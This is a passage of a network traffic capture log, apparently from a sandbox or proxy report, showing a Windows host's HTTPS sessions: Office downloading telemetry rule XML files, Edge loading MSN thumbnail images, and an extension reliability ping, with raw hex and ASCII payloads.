T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:47 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:47 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090947Z-174f7845968jrjrxhC1EWRmmrs0000000v80000000009s4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:47 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090947Z-174f7845968g6hv8hC1EWR1v2n0000000360000000003kw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49907	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:47 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:48 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=140470 Expires: Thu, 28 Nov 2024 00:10:58 GMT Date: Tue, 26 Nov 2024 09:09:48 GMT Connection: close
2024-11-26 09:09:48 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49906	13.107.21.239	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:48 UTC	608	OUT	GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=2WkJQfW5L5rMMk3Fyz8dtl&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.47&lang=en-GB&acceptformat=crx3,puff HTTP/1.1 Host: edge.microsoft.com Connection: keep-alive Scenario: Update Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-26 09:09:48 UTC	336	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, no-cache, no-store, must-revalidate Transfer-Encoding: chunked Content-Type: text/plain; charset=utf-8 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B2CFC7761C2542B4B59886DB68C647A6 Ref B: EWR30EDGE1012 Ref C: 2024-11-26T09:09:48Z Date: Tue, 26 Nov 2024 09:09:47 GMT Connection: close
2024-11-26 09:09:48 UTC	48	IN	Data Raw: 32 61 0d 0a 4c 6f 67 67 69 6e 67 20 72 65 6c 69 61 62 69 6c 69 74 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 73 75 63 63 65 73 73 66 75 6c 0d 0a Data Ascii: 2aLogging reliability information successful
2024-11-26 09:09:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:48 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:49 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:49 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090949Z-174f7845968n2hr8hC1EWR9cag0000000uxg000000002et9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49913	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:49 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:49 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Wed, 20 Nov 2024 04:23:41 GMT X-Source-Length: 62552 X-Datacenter: westus X-ActivityId: 6e9d88a8-7621-4810-953c-26c780815227 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=285335 Expires: Fri, 29 Nov 2024 16:25:24 GMT Date: Tue, 26 Nov 2024 09:09:49 GMT Connection: close
2024-11-26 09:09:49 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:49 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090949Z-174f7845968j6t2phC1EWRcfe80000000v8g00000000aubp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:50 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:49 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090949Z-174f7845968px8v7hC1EWR08ng0000000vbg00000000anv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:49 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:50 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090950Z-174f7845968nxc96hC1EWRspw80000000uxg0000000063fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:50 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:50 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090950Z-174f7845968g6hv8hC1EWR1v2n000000031000000000b6mh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:50 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:51 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:51 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090951Z-174f7845968jrjrxhC1EWRmmrs0000000vf0000000000g5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49915	23.44.129.36	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:51 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:51 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=382133 Expires: Sat, 30 Nov 2024 19:18:44 GMT Date: Tue, 26 Nov 2024 09:09:51 GMT Connection: close
